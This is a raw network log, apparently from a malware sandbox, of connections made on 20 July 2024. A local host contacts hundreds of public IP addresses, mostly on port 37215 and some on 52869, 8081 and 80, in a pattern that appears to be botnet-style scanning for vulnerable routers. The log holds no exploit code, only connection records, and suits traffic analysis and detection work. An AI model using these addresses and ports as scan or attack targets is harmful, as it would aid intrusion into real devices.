Jul 20, 2024 23:01:02.620311022 CEST	37215	50563	157.218.75.115	192.168.2.13
Jul 20, 2024 23:01:02.620317936 CEST	37215	37480	157.252.104.249	192.168.2.13
Jul 20, 2024 23:01:02.620323896 CEST	37215	35018	197.112.159.46	192.168.2.13
Jul 20, 2024 23:01:02.620803118 CEST	37215	50563	79.194.180.209	192.168.2.13
Jul 20, 2024 23:01:02.620831966 CEST	52190	37215	192.168.2.13	157.45.209.254
Jul 20, 2024 23:01:02.620831966 CEST	41164	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:02.620831966 CEST	46610	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:02.620831966 CEST	50010	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:02.620831966 CEST	42426	37215	192.168.2.13	157.28.17.113
Jul 20, 2024 23:01:02.620831966 CEST	42890	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:02.620831966 CEST	39376	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:02.620831966 CEST	60948	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:02.621035099 CEST	37215	50563	41.143.204.7	192.168.2.13
Jul 20, 2024 23:01:02.621156931 CEST	37215	50563	41.244.185.110	192.168.2.13
Jul 20, 2024 23:01:02.621253014 CEST	37215	41910	197.25.72.152	192.168.2.13
Jul 20, 2024 23:01:02.621258020 CEST	37215	50563	163.186.123.46	192.168.2.13
Jul 20, 2024 23:01:02.621361017 CEST	57172	37215	192.168.2.13	157.44.27.109
Jul 20, 2024 23:01:02.621361017 CEST	59794	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:02.621361017 CEST	41902	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:02.621361017 CEST	43246	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:02.621361017 CEST	41860	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:02.621361017 CEST	48126	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:02.621361017 CEST	60632	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:02.621361017 CEST	47084	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:02.621514082 CEST	37215	44900	197.77.114.34	192.168.2.13
Jul 20, 2024 23:01:02.621584892 CEST	37215	50563	197.164.107.163	192.168.2.13
Jul 20, 2024 23:01:02.622096062 CEST	58112	8081	192.168.2.13	200.82.236.203
Jul 20, 2024 23:01:02.622097015 CEST	50568	80	192.168.2.13	95.94.163.97
Jul 20, 2024 23:01:02.622097015 CEST	50568	80	192.168.2.13	95.79.18.46
Jul 20, 2024 23:01:02.622097015 CEST	50568	80	192.168.2.13	95.41.248.213
Jul 20, 2024 23:01:02.622097015 CEST	50568	80	192.168.2.13	95.112.183.46
Jul 20, 2024 23:01:02.622097015 CEST	50568	80	192.168.2.13	95.61.2.89
Jul 20, 2024 23:01:02.622097015 CEST	50568	80	192.168.2.13	95.155.49.253
Jul 20, 2024 23:01:02.622100115 CEST	37215	49966	197.13.115.180	192.168.2.13
Jul 20, 2024 23:01:02.622097015 CEST	50563	37215	192.168.2.13	197.24.98.59
Jul 20, 2024 23:01:02.622104883 CEST	37215	53990	197.111.92.249	192.168.2.13
Jul 20, 2024 23:01:02.622484922 CEST	50563	37215	192.168.2.13	197.125.88.53
Jul 20, 2024 23:01:02.622484922 CEST	50563	37215	192.168.2.13	41.13.83.202
Jul 20, 2024 23:01:02.622484922 CEST	50563	37215	192.168.2.13	135.126.198.15
Jul 20, 2024 23:01:02.622484922 CEST	50563	37215	192.168.2.13	197.118.57.107
Jul 20, 2024 23:01:02.622486115 CEST	50563	37215	192.168.2.13	139.215.118.72
Jul 20, 2024 23:01:02.622486115 CEST	50563	37215	192.168.2.13	41.217.178.243
Jul 20, 2024 23:01:02.622486115 CEST	50563	37215	192.168.2.13	41.122.75.119
Jul 20, 2024 23:01:02.622486115 CEST	50563	37215	192.168.2.13	157.81.38.15
Jul 20, 2024 23:01:02.622642040 CEST	37215	50563	197.231.84.101	192.168.2.13
Jul 20, 2024 23:01:02.622849941 CEST	37215	50563	197.167.225.223	192.168.2.13
Jul 20, 2024 23:01:02.622853994 CEST	37215	40544	197.206.115.125	192.168.2.13
Jul 20, 2024 23:01:02.622862101 CEST	37215	50563	187.64.89.83	192.168.2.13
Jul 20, 2024 23:01:02.623794079 CEST	37215	32842	157.204.6.4	192.168.2.13
Jul 20, 2024 23:01:02.623797894 CEST	37215	34798	197.156.183.155	192.168.2.13
Jul 20, 2024 23:01:02.623806000 CEST	37215	34900	147.21.178.207	192.168.2.13
Jul 20, 2024 23:01:02.623810053 CEST	37215	50563	197.77.193.244	192.168.2.13
Jul 20, 2024 23:01:02.624260902 CEST	37215	50408	41.174.42.115	192.168.2.13
Jul 20, 2024 23:01:02.624279976 CEST	40674	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:02.624279976 CEST	56938	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:02.624279976 CEST	51372	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:02.624279976 CEST	36402	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:02.624279976 CEST	53904	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:02.624279976 CEST	54392	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:02.624279976 CEST	44146	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:02.624279976 CEST	55636	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:02.624449015 CEST	37215	50563	41.163.115.140	192.168.2.13
Jul 20, 2024 23:01:02.624766111 CEST	37215	50563	157.254.190.35	192.168.2.13
Jul 20, 2024 23:01:02.624954939 CEST	37215	50563	41.232.99.163	192.168.2.13
Jul 20, 2024 23:01:02.624958992 CEST	37215	50563	92.95.67.30	192.168.2.13
Jul 20, 2024 23:01:02.625788927 CEST	37215	50563	157.235.44.24	192.168.2.13
Jul 20, 2024 23:01:02.626055956 CEST	37215	57060	197.31.246.31	192.168.2.13
Jul 20, 2024 23:01:02.626060963 CEST	37215	35908	197.194.56.97	192.168.2.13
Jul 20, 2024 23:01:02.626128912 CEST	37215	35738	41.59.239.153	192.168.2.13
Jul 20, 2024 23:01:02.626132965 CEST	37215	44020	132.227.49.42	192.168.2.13
Jul 20, 2024 23:01:02.626137018 CEST	37215	36476	157.141.29.177	192.168.2.13
Jul 20, 2024 23:01:02.626224995 CEST	37215	36190	91.112.89.216	192.168.2.13
Jul 20, 2024 23:01:02.626229048 CEST	37215	59198	41.60.18.93	192.168.2.13
Jul 20, 2024 23:01:02.626331091 CEST	50563	37215	192.168.2.13	197.76.23.252
Jul 20, 2024 23:01:02.626331091 CEST	50563	37215	192.168.2.13	41.252.227.88
Jul 20, 2024 23:01:02.626331091 CEST	50563	37215	192.168.2.13	41.216.121.63
Jul 20, 2024 23:01:02.626331091 CEST	50568	80	192.168.2.13	95.180.237.10
Jul 20, 2024 23:01:02.626332045 CEST	50563	37215	192.168.2.13	157.100.107.210
Jul 20, 2024 23:01:02.626332045 CEST	50563	37215	192.168.2.13	204.24.150.141
Jul 20, 2024 23:01:02.626332045 CEST	50563	37215	192.168.2.13	52.148.69.164
Jul 20, 2024 23:01:02.626332045 CEST	50563	37215	192.168.2.13	136.164.30.219
Jul 20, 2024 23:01:02.627094030 CEST	37215	52190	157.45.209.254	192.168.2.13
Jul 20, 2024 23:01:02.627099037 CEST	37215	50563	157.26.228.100	192.168.2.13
Jul 20, 2024 23:01:02.627302885 CEST	8081	58112	200.82.236.203	192.168.2.13
Jul 20, 2024 23:01:02.627310991 CEST	37215	50563	197.30.141.161	192.168.2.13
Jul 20, 2024 23:01:02.627686977 CEST	37215	50563	157.159.26.83	192.168.2.13
Jul 20, 2024 23:01:02.627763033 CEST	55314	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:02.627763033 CEST	50563	37215	192.168.2.13	41.111.58.177
Jul 20, 2024 23:01:02.627763033 CEST	50563	37215	192.168.2.13	123.56.198.11
Jul 20, 2024 23:01:02.627763033 CEST	50563	37215	192.168.2.13	157.116.224.250
Jul 20, 2024 23:01:02.627763033 CEST	50563	37215	192.168.2.13	197.82.100.68
Jul 20, 2024 23:01:02.627763033 CEST	50563	37215	192.168.2.13	149.28.11.79
Jul 20, 2024 23:01:02.627763033 CEST	50563	37215	192.168.2.13	197.11.43.126
Jul 20, 2024 23:01:02.627763033 CEST	50563	37215	192.168.2.13	197.105.181.105
Jul 20, 2024 23:01:02.627907991 CEST	37215	57172	157.44.27.109	192.168.2.13
Jul 20, 2024 23:01:02.628005028 CEST	57420	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:02.628005028 CEST	51784	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:02.628005028 CEST	37842	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:02.628005028 CEST	35018	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:02.628005028 CEST	57588	52869	192.168.2.13	54.236.238.51
Jul 20, 2024 23:01:02.628210068 CEST	37215	41164	41.204.18.19	192.168.2.13
Jul 20, 2024 23:01:02.628212929 CEST	37215	51226	202.117.135.95	192.168.2.13
Jul 20, 2024 23:01:02.628233910 CEST	54026	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:02.628233910 CEST	37288	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:02.628233910 CEST	51216	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:02.628233910 CEST	37016	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:02.628233910 CEST	57060	37215	192.168.2.13	197.31.246.31
Jul 20, 2024 23:01:02.628233910 CEST	35738	37215	192.168.2.13	41.59.239.153
Jul 20, 2024 23:01:02.628233910 CEST	52190	37215	192.168.2.13	157.45.209.254
Jul 20, 2024 23:01:02.628233910 CEST	41164	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:02.628551006 CEST	37215	46610	221.202.160.22	192.168.2.13
Jul 20, 2024 23:01:02.628556013 CEST	37215	40330	157.137.243.27	192.168.2.13
Jul 20, 2024 23:01:02.628565073 CEST	37215	58268	125.16.244.96	192.168.2.13
Jul 20, 2024 23:01:02.629221916 CEST	37215	59794	157.122.210.70	192.168.2.13
Jul 20, 2024 23:01:02.629226923 CEST	37215	33886	41.157.87.9	192.168.2.13
Jul 20, 2024 23:01:02.629235029 CEST	37215	45408	41.59.60.215	192.168.2.13
Jul 20, 2024 23:01:02.629239082 CEST	37215	41902	197.80.112.192	192.168.2.13
Jul 20, 2024 23:01:02.629242897 CEST	37215	50010	197.215.77.6	192.168.2.13
Jul 20, 2024 23:01:02.629251003 CEST	37215	54190	41.151.30.29	192.168.2.13
Jul 20, 2024 23:01:02.629471064 CEST	37215	37284	14.117.126.33	192.168.2.13
Jul 20, 2024 23:01:02.629475117 CEST	37215	43246	157.181.19.73	192.168.2.13
Jul 20, 2024 23:01:02.629482985 CEST	37215	42426	157.28.17.113	192.168.2.13
Jul 20, 2024 23:01:02.630080938 CEST	37215	40674	41.156.209.55	192.168.2.13
Jul 20, 2024 23:01:02.630305052 CEST	37215	50563	197.125.88.53	192.168.2.13
Jul 20, 2024 23:01:02.630696058 CEST	59616	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:02.630696058 CEST	56802	37215	192.168.2.13	197.96.187.238
Jul 20, 2024 23:01:02.630696058 CEST	36826	37215	192.168.2.13	197.164.134.229
Jul 20, 2024 23:01:02.630696058 CEST	37480	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:02.630696058 CEST	34798	37215	192.168.2.13	197.156.183.155
Jul 20, 2024 23:01:02.630696058 CEST	50563	37215	192.168.2.13	157.70.181.241
Jul 20, 2024 23:01:02.630696058 CEST	50563	37215	192.168.2.13	41.221.243.78
Jul 20, 2024 23:01:02.630696058 CEST	50563	37215	192.168.2.13	197.6.111.165
Jul 20, 2024 23:01:02.630935907 CEST	46242	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:02.630935907 CEST	44900	37215	192.168.2.13	197.77.114.34
Jul 20, 2024 23:01:02.630935907 CEST	35908	37215	192.168.2.13	197.194.56.97
Jul 20, 2024 23:01:02.630935907 CEST	44020	37215	192.168.2.13	132.227.49.42
Jul 20, 2024 23:01:02.630935907 CEST	59198	37215	192.168.2.13	41.60.18.93
Jul 20, 2024 23:01:02.630935907 CEST	33886	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:02.630935907 CEST	37284	37215	192.168.2.13	14.117.126.33
Jul 20, 2024 23:01:02.630937099 CEST	40674	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:02.631125927 CEST	37215	50563	41.13.83.202	192.168.2.13
Jul 20, 2024 23:01:02.631562948 CEST	37215	56938	41.101.96.17	192.168.2.13
Jul 20, 2024 23:01:02.631567001 CEST	37215	54996	197.141.132.83	192.168.2.13
Jul 20, 2024 23:01:02.631576061 CEST	37215	50563	197.0.92.64	192.168.2.13
Jul 20, 2024 23:01:02.631580114 CEST	37215	50563	135.126.198.15	192.168.2.13
Jul 20, 2024 23:01:02.631588936 CEST	37215	50563	197.76.23.252	192.168.2.13
Jul 20, 2024 23:01:02.632189989 CEST	45856	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:01:02.632189989 CEST	54338	37215	192.168.2.13	41.29.132.43
Jul 20, 2024 23:01:02.632189989 CEST	50563	37215	192.168.2.13	157.196.149.51
Jul 20, 2024 23:01:02.632189989 CEST	50563	37215	192.168.2.13	126.191.16.54
Jul 20, 2024 23:01:02.632189989 CEST	50563	37215	192.168.2.13	157.221.82.145
Jul 20, 2024 23:01:02.632189989 CEST	50563	37215	192.168.2.13	197.150.53.167
Jul 20, 2024 23:01:02.632189989 CEST	50563	37215	192.168.2.13	197.222.3.19
Jul 20, 2024 23:01:02.632189989 CEST	50563	37215	192.168.2.13	37.235.225.176
Jul 20, 2024 23:01:02.632206917 CEST	37215	42890	13.152.140.36	192.168.2.13
Jul 20, 2024 23:01:02.632210970 CEST	37215	51372	47.63.66.179	192.168.2.13
Jul 20, 2024 23:01:02.632437944 CEST	37215	41860	140.242.21.87	192.168.2.13
Jul 20, 2024 23:01:02.632441998 CEST	37215	36402	157.122.230.247	192.168.2.13
Jul 20, 2024 23:01:02.632451057 CEST	37215	48126	197.30.140.44	192.168.2.13
Jul 20, 2024 23:01:02.632688999 CEST	46610	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:02.632688999 CEST	50010	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:02.632688999 CEST	42426	37215	192.168.2.13	157.28.17.113
Jul 20, 2024 23:01:02.632688999 CEST	42890	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:02.632688999 CEST	39376	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:02.632688999 CEST	60948	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:02.632688999 CEST	54026	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:02.632688999 CEST	37288	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:02.632786989 CEST	37215	53904	157.130.93.53	192.168.2.13
Jul 20, 2024 23:01:02.632791996 CEST	37215	49892	159.11.170.80	192.168.2.13
Jul 20, 2024 23:01:02.632801056 CEST	37215	39376	41.79.65.151	192.168.2.13
Jul 20, 2024 23:01:02.633284092 CEST	37215	44970	41.39.134.254	192.168.2.13
Jul 20, 2024 23:01:02.633287907 CEST	37215	55314	197.75.142.184	192.168.2.13
Jul 20, 2024 23:01:02.633296967 CEST	37215	60948	157.171.147.236	192.168.2.13
Jul 20, 2024 23:01:02.633362055 CEST	37215	60632	201.248.6.28	192.168.2.13
Jul 20, 2024 23:01:02.633522987 CEST	50563	37215	192.168.2.13	41.103.11.181
Jul 20, 2024 23:01:02.633522987 CEST	50563	37215	192.168.2.13	41.191.47.108
Jul 20, 2024 23:01:02.633522987 CEST	50563	37215	192.168.2.13	172.10.139.219
Jul 20, 2024 23:01:02.633522987 CEST	50563	37215	192.168.2.13	195.123.255.205
Jul 20, 2024 23:01:02.633523941 CEST	50563	37215	192.168.2.13	41.218.171.117
Jul 20, 2024 23:01:02.633523941 CEST	50563	37215	192.168.2.13	197.115.65.96
Jul 20, 2024 23:01:02.633523941 CEST	50563	37215	192.168.2.13	34.246.83.219
Jul 20, 2024 23:01:02.633847952 CEST	37215	57420	41.235.172.174	192.168.2.13
Jul 20, 2024 23:01:02.634294987 CEST	37215	54392	198.40.74.18	192.168.2.13
Jul 20, 2024 23:01:02.634329081 CEST	37215	54026	197.146.235.18	192.168.2.13
Jul 20, 2024 23:01:02.634577990 CEST	37215	51784	197.33.169.56	192.168.2.13
Jul 20, 2024 23:01:02.634582996 CEST	37215	37288	197.199.15.206	192.168.2.13
Jul 20, 2024 23:01:02.635073900 CEST	37215	51216	80.166.177.56	192.168.2.13
Jul 20, 2024 23:01:02.635409117 CEST	37215	50563	197.118.57.107	192.168.2.13
Jul 20, 2024 23:01:02.635725021 CEST	50563	37215	192.168.2.13	197.77.96.194
Jul 20, 2024 23:01:02.635725021 CEST	50568	80	192.168.2.13	95.58.250.17
Jul 20, 2024 23:01:02.635725021 CEST	50568	80	192.168.2.13	95.148.222.24
Jul 20, 2024 23:01:02.635725975 CEST	50563	37215	192.168.2.13	96.175.127.123
Jul 20, 2024 23:01:02.635725975 CEST	50563	37215	192.168.2.13	157.176.229.21
Jul 20, 2024 23:01:02.635725975 CEST	50563	37215	192.168.2.13	197.112.102.149
Jul 20, 2024 23:01:02.635725975 CEST	50563	37215	192.168.2.13	197.254.87.82
Jul 20, 2024 23:01:02.635725975 CEST	50563	37215	192.168.2.13	197.30.202.215
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	157.172.155.109
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	95.110.68.123
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	41.159.123.57
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	157.162.159.228
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	157.146.40.243
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	41.12.103.139
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	24.182.132.124
Jul 20, 2024 23:01:02.635906935 CEST	50563	37215	192.168.2.13	157.212.52.116
Jul 20, 2024 23:01:02.636153936 CEST	37215	50563	139.215.118.72	192.168.2.13
Jul 20, 2024 23:01:02.636446953 CEST	37215	44146	157.81.89.101	192.168.2.13
Jul 20, 2024 23:01:02.636514902 CEST	37215	47084	197.151.215.75	192.168.2.13
Jul 20, 2024 23:01:02.636519909 CEST	37215	37016	197.123.108.99	192.168.2.13
Jul 20, 2024 23:01:02.636975050 CEST	37215	55636	197.95.163.59	192.168.2.13
Jul 20, 2024 23:01:02.637434959 CEST	37215	59616	41.104.162.59	192.168.2.13
Jul 20, 2024 23:01:02.638583899 CEST	50563	37215	192.168.2.13	157.212.244.191
Jul 20, 2024 23:01:02.638583899 CEST	50563	37215	192.168.2.13	197.25.23.134
Jul 20, 2024 23:01:02.638583899 CEST	37215	37842	41.31.110.255	192.168.2.13
Jul 20, 2024 23:01:02.638583899 CEST	35018	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:02.638583899 CEST	37842	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:02.638583899 CEST	51784	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:02.638583899 CEST	44970	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:02.638583899 CEST	51226	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:02.638583899 CEST	32842	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:02.638587952 CEST	37215	56802	197.96.187.238	192.168.2.13
Jul 20, 2024 23:01:02.638597012 CEST	37215	35018	197.112.159.46	192.168.2.13
Jul 20, 2024 23:01:02.638602018 CEST	37215	50563	41.252.227.88	192.168.2.13
Jul 20, 2024 23:01:02.638606071 CEST	37215	41164	41.204.18.19	192.168.2.13
Jul 20, 2024 23:01:02.638613939 CEST	37215	46242	197.182.149.227	192.168.2.13
Jul 20, 2024 23:01:02.638617992 CEST	37215	46610	221.202.160.22	192.168.2.13
Jul 20, 2024 23:01:02.638626099 CEST	37215	36826	197.164.134.229	192.168.2.13
Jul 20, 2024 23:01:02.639266014 CEST	56938	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:02.639266014 CEST	51372	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:02.639266968 CEST	36402	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:02.639266968 CEST	53904	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:02.639266968 CEST	54392	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:02.639266968 CEST	44146	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:02.639266968 CEST	55636	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:02.639266968 CEST	46242	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:02.639791012 CEST	37215	37480	157.252.104.249	192.168.2.13
Jul 20, 2024 23:01:02.639795065 CEST	37215	50010	197.215.77.6	192.168.2.13
Jul 20, 2024 23:01:02.639803886 CEST	37215	42426	157.28.17.113	192.168.2.13
Jul 20, 2024 23:01:02.640008926 CEST	50563	37215	192.168.2.13	41.29.2.137
Jul 20, 2024 23:01:02.640008926 CEST	50563	37215	192.168.2.13	189.165.8.41
Jul 20, 2024 23:01:02.640008926 CEST	50563	37215	192.168.2.13	105.30.60.182
Jul 20, 2024 23:01:02.640008926 CEST	50563	37215	192.168.2.13	168.233.53.72
Jul 20, 2024 23:01:02.640008926 CEST	50563	37215	192.168.2.13	110.174.239.162
Jul 20, 2024 23:01:02.640008926 CEST	50563	37215	192.168.2.13	197.198.100.13
Jul 20, 2024 23:01:02.640008926 CEST	50563	37215	192.168.2.13	197.103.86.239
Jul 20, 2024 23:01:02.640209913 CEST	37215	50563	41.217.178.243	192.168.2.13
Jul 20, 2024 23:01:02.640970945 CEST	37215	50563	41.122.75.119	192.168.2.13
Jul 20, 2024 23:01:02.640975952 CEST	37215	50563	197.24.98.59	192.168.2.13
Jul 20, 2024 23:01:02.641520023 CEST	37215	50563	157.81.38.15	192.168.2.13
Jul 20, 2024 23:01:02.641767979 CEST	37215	50563	197.77.96.194	192.168.2.13
Jul 20, 2024 23:01:02.641772985 CEST	37215	50563	41.216.121.63	192.168.2.13
Jul 20, 2024 23:01:02.641808033 CEST	50563	37215	192.168.2.13	101.162.77.200
Jul 20, 2024 23:01:02.641808987 CEST	50563	37215	192.168.2.13	197.50.168.227
Jul 20, 2024 23:01:02.641808987 CEST	50563	37215	192.168.2.13	219.70.10.31
Jul 20, 2024 23:01:02.641808987 CEST	50563	37215	192.168.2.13	197.110.10.121
Jul 20, 2024 23:01:02.641808987 CEST	50563	37215	192.168.2.13	144.129.220.235
Jul 20, 2024 23:01:02.641808987 CEST	50563	37215	192.168.2.13	197.46.100.12
Jul 20, 2024 23:01:02.641808987 CEST	50563	37215	192.168.2.13	197.176.136.135
Jul 20, 2024 23:01:02.641808987 CEST	50563	37215	192.168.2.13	41.32.202.162
Jul 20, 2024 23:01:02.642250061 CEST	37215	34798	197.156.183.155	192.168.2.13
Jul 20, 2024 23:01:02.642827988 CEST	37215	33886	41.157.87.9	192.168.2.13
Jul 20, 2024 23:01:02.643100023 CEST	37215	54338	41.29.132.43	192.168.2.13
Jul 20, 2024 23:01:02.643105030 CEST	37215	42890	13.152.140.36	192.168.2.13
Jul 20, 2024 23:01:02.643105984 CEST	51216	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:02.643105984 CEST	37016	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:02.643105984 CEST	60952	52869	192.168.2.13	153.105.129.20
Jul 20, 2024 23:01:02.643105984 CEST	50563	37215	192.168.2.13	157.210.2.124
Jul 20, 2024 23:01:02.643105984 CEST	50563	37215	192.168.2.13	157.138.216.112
Jul 20, 2024 23:01:02.643105984 CEST	50563	37215	192.168.2.13	157.206.35.12
Jul 20, 2024 23:01:02.643105984 CEST	50563	37215	192.168.2.13	157.13.168.159
Jul 20, 2024 23:01:02.643105984 CEST	50563	37215	192.168.2.13	99.233.89.201
Jul 20, 2024 23:01:02.643351078 CEST	37215	50563	157.172.155.109	192.168.2.13
Jul 20, 2024 23:01:02.643966913 CEST	37215	39376	41.79.65.151	192.168.2.13
Jul 20, 2024 23:01:02.645020008 CEST	37215	40674	41.156.209.55	192.168.2.13
Jul 20, 2024 23:01:02.645024061 CEST	37215	60948	157.171.147.236	192.168.2.13
Jul 20, 2024 23:01:02.645631075 CEST	37215	56938	41.101.96.17	192.168.2.13
Jul 20, 2024 23:01:02.645806074 CEST	37215	50563	157.100.107.210	192.168.2.13
Jul 20, 2024 23:01:02.646085978 CEST	37215	35018	197.112.159.46	192.168.2.13
Jul 20, 2024 23:01:02.646640062 CEST	37215	54026	197.146.235.18	192.168.2.13
Jul 20, 2024 23:01:02.646645069 CEST	37215	50563	96.175.127.123	192.168.2.13
Jul 20, 2024 23:01:02.646972895 CEST	37215	50563	95.110.68.123	192.168.2.13
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	157.61.199.130
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	48.118.129.32
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	119.232.251.136
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	197.33.14.231
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	197.229.216.252
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	41.229.240.163
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	41.203.141.163
Jul 20, 2024 23:01:02.647124052 CEST	50563	37215	192.168.2.13	157.200.55.19
Jul 20, 2024 23:01:02.647826910 CEST	58204	37215	192.168.2.13	40.45.115.153
Jul 20, 2024 23:01:02.647826910 CEST	50563	37215	192.168.2.13	1.167.140.162
Jul 20, 2024 23:01:02.647826910 CEST	50563	37215	192.168.2.13	197.94.220.44
Jul 20, 2024 23:01:02.647826910 CEST	57420	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:02.647826910 CEST	54996	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:02.647826910 CEST	40330	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:02.647826910 CEST	36476	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:02.647826910 CEST	53990	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:02.648027897 CEST	37215	50563	41.159.123.57	192.168.2.13
Jul 20, 2024 23:01:02.648031950 CEST	37215	50563	157.176.229.21	192.168.2.13
Jul 20, 2024 23:01:02.648036003 CEST	37215	37842	41.31.110.255	192.168.2.13
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	157.208.220.222
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	41.118.213.103
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	41.119.64.82
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	157.125.163.219
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	197.27.246.31
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	197.142.25.54
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	197.225.113.223
Jul 20, 2024 23:01:02.648293018 CEST	50563	37215	192.168.2.13	41.194.86.31
Jul 20, 2024 23:01:02.648432016 CEST	37215	51372	47.63.66.179	192.168.2.13
Jul 20, 2024 23:01:02.648576975 CEST	37215	37288	197.199.15.206	192.168.2.13
Jul 20, 2024 23:01:02.648880005 CEST	37215	51784	197.33.169.56	192.168.2.13
Jul 20, 2024 23:01:02.649502993 CEST	37215	50563	197.112.102.149	192.168.2.13
Jul 20, 2024 23:01:02.649507999 CEST	37215	50563	157.162.159.228	192.168.2.13
Jul 20, 2024 23:01:02.649508953 CEST	50563	37215	192.168.2.13	197.161.213.41
Jul 20, 2024 23:01:02.649508953 CEST	50563	37215	192.168.2.13	103.232.100.172
Jul 20, 2024 23:01:02.649508953 CEST	50563	37215	192.168.2.13	41.98.49.19
Jul 20, 2024 23:01:02.649508953 CEST	50563	37215	192.168.2.13	64.142.16.14
Jul 20, 2024 23:01:02.649508953 CEST	49892	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:02.649508953 CEST	58268	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:02.649508953 CEST	34900	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:02.649508953 CEST	40544	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:02.649517059 CEST	37215	51216	80.166.177.56	192.168.2.13
Jul 20, 2024 23:01:02.650340080 CEST	37215	36402	157.122.230.247	192.168.2.13
Jul 20, 2024 23:01:02.650396109 CEST	50563	37215	192.168.2.13	157.218.144.231
Jul 20, 2024 23:01:02.650396109 CEST	50563	37215	192.168.2.13	157.213.234.230
Jul 20, 2024 23:01:02.650396109 CEST	50563	37215	192.168.2.13	41.46.204.80
Jul 20, 2024 23:01:02.650396109 CEST	50563	37215	192.168.2.13	41.32.21.232
